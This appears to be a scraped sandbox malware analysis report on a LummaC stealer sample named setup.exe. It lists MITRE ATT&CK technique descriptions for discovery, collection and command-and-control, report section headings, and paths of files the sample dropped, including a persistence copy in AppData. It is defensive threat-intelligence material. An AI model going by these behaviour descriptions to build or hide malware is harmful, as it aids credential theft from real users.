Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\2dd37f98

C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2odurdwb.dry.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ipkza234.s34.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mhsxg22j.fa5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mldtj22x.2en.ps1

C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp

C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp

C:\Users\user\AppData\Local\Temp\is-EUFB2.tmp\_isetup\_isdecmp.dll

C:\Users\user\AppData\Local\Temp\is-EUFB2.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-MO41V.tmp\_isetup\_isdecmp.dll

C:\Users\user\AppData\Local\Temp\is-MO41V.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)

Windows Analysis Report
setup.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre